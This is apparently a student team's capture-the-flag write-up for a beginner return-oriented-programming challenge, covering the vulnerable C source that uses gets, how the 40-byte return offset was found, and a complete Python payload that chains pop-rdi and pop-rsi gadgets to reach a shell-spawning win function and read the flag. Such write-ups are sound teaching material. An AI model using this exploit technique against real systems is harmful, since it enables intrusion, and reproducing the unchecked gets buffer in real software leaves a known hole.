-
Category: Pwn (ROP)
-
Team Name: WashYourMouth
-
Team Members:
- Chua Jia Cheng, Jon
- Yeo Yik Hwee Ernest
- Roby Tanama
- Low Jun Kai, Sean
Given a program hosted on nc challs1.nusgreyhats.org 5011
, the idea is to
gain access to the call stac in order to call /bin/sh
such that we would
be able to gain access to the flag hidden in the system.
Given the code below found in fetusrop.c
, we can actually learn a few things
here.
#include <stdio.h>
/* gcc -no-pie -fno-stack-protector ./fetusrop.c -o fetusrop */
void win(int a, int b)
{
if (a == 0xcafe && b == 0x1337)
system("/bin/bash");
}
int main(){
char buf[32];
gets(buf);
return 0;
}
-
no-pie
flag tells gcc, the c compiler, not to make a position independent executable, where the binary and dependencies do not get inserted into a random location of the virtual memory every time it is run. -
-fno-stack-protector
disables the stack smashing protector, where stack overflow is allowed to execute as a result. -
gets
function is used, which does not protect against buffer overflow, which is dangerous as it works under the assumption that the user will always insert valid input. In this case, insert a string with <= 32 characters. -
win
functions contains asystem
syscall which callsbash
, which provides us a gateway to perform bad behavior onto the system.
With these, we can start to plan our attack.
We will try to perform our initial test runs
The first idea was to find the original return address such that we can understand where to start executing 'unwanted instructions' to start our attack.
It seemed that 32 + 1
characters didn't cause any segmentation fault,
which is due to access an invalid memory address.
After inserting 32 + 8 + 1
characters, it finally caused a SEGFAULT
.
This suggests that the return address is located on buf+40
This is verified by using gdb
with the peda
plugin, as the return address at buf+40
gets overriden.
General Purpose Registers (GPR) are used to store temporary data, such as arguments for a function call.
void win(int a, int b)
{
if (a == 0xcafe && b == 0x1337)
system("/bin/bash");
}
In order to execute win
, we would need to override the GPRs of
rdi
and rsi
, which corresponds to holding the temporary values for the
arguments a
and b
respectively. This is because rdi
and rsi
are
commonly used to store the first two arguments for a function call.
to be able to override the values stored in registers rdi
and rsi
, we
would need some ropgadget
s as a result.
With this, we can make use of these 2 gadgets to override the values stored
in registers rdi
and rsi
.
Also, we would need to access the address of function win
We would use pyhon
to derive a script to launch our attack.
def pack64(n):
s = ""
while n:
s += chr(n % 0x100)
n = n / 0x100
s = s.ljust(8, "\x00")
return s
The function pack64
helps us ensure that the commands / data that we enter
are 8 byte-aligned, This is because our addresses in the stack are in
multiples of 8.
With this, we can execute our attack.
# Constants
win_addr = 0x00400537
# ropgadgets
pop_rdi_ret = 0x004005f3
pop_rsi_pop_r15_ret = 0x004005f1
pop_rdx_ret_libc = None
payload = "\x00" * 40
payload += pack64(pop_rdi_ret) # pop rdi; ret
payload += pack64(0xcafe) # value of a
payload += pack64(pop_rsi_pop_r15_ret) # pop rsi; pop r15; ret
payload += pack64(0x1337) # value of b
payload += pack64(0x0) # dummy argument
payload += pack64(win_addr) # win function address
print(payload)
We would be injecting our payload into the binary executable such that
we would get access to win
function and it executes with the correct
arguments supplied, in this case where a == 0xcafe && b == 0x1337
We would print the payload to a temporary file at /tmp/fetusrop
Following which, pass the payload to the executable. However, it immediately exists after executing. As a result, we would NOT want to finish execution immediately and stall and wait for input.
As a result, what we can do is to call cat
without any commands, as the
shell would wait for inputs from the keyword until it receives an end-of-file
(EOF) signal.
As a result, we are able to pass bash
commandss.
When we try it on the remote server, we can then get access to the files
in the system via ls
and simply printing out the contents of flag.txt
using cat
greyhats{y0ur_pwn_j0urn3y_b3g1ns_982h89h}
great write up